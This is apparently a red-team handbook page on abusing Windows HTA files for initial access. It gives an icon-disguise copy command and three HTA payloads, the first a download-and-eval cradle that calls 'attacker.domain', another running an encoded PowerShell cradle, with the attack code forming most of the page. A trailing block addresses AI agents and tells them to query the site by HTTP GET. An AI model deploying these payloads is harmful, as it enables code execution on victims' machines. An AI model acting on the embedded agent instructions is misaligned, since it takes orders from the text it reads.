# HTA

These stand for HTML applications. These files have access to *VBS, JS, COM and .NET* which make it a huge target payload for attackers. HTA files can be used to run execution cradles or execute shellcode. Normally, HTA files run under mshta.exe, note that there are ways to dechain process and child relationships.

We can change the icon of the HTA file with this command:  `copy /b picture.ico+test.hta test_with_icon.hta`<br>

Here are some ways you can utilize HTA files

```
<script language="javascript" type="text/javascript">
      h=new ActiveXObject("WinHttp.WinHttpRequest.5.1");
      h.Open("GET","http://attacker.domain/connect",false);
      h.Send();
      B=h.ResponseText;
      eval(B);
	  window.close();
    </script>
```

```
<html>
<head>
<script language="VBScript"> 
    Sub foo
    	command = "notepad.exe"
        Set objShell = CreateObject("Wscript.Shell")
        objShell.Run command
    End Sub
foo()
</script>
</head> 
<body>
</body>
</html>
```

```
<html>
<script>
    var cmd = "powershell.exe -enc cradle";
    var wsh = new ActiveXObject(WScript.shell");
    wsh.run(cmd);
</html>
</script>
```

&#x20;


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://kwcsec.gitbook.io/the-red-team-handbook/techniques/initial-access/file-formats/hta.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
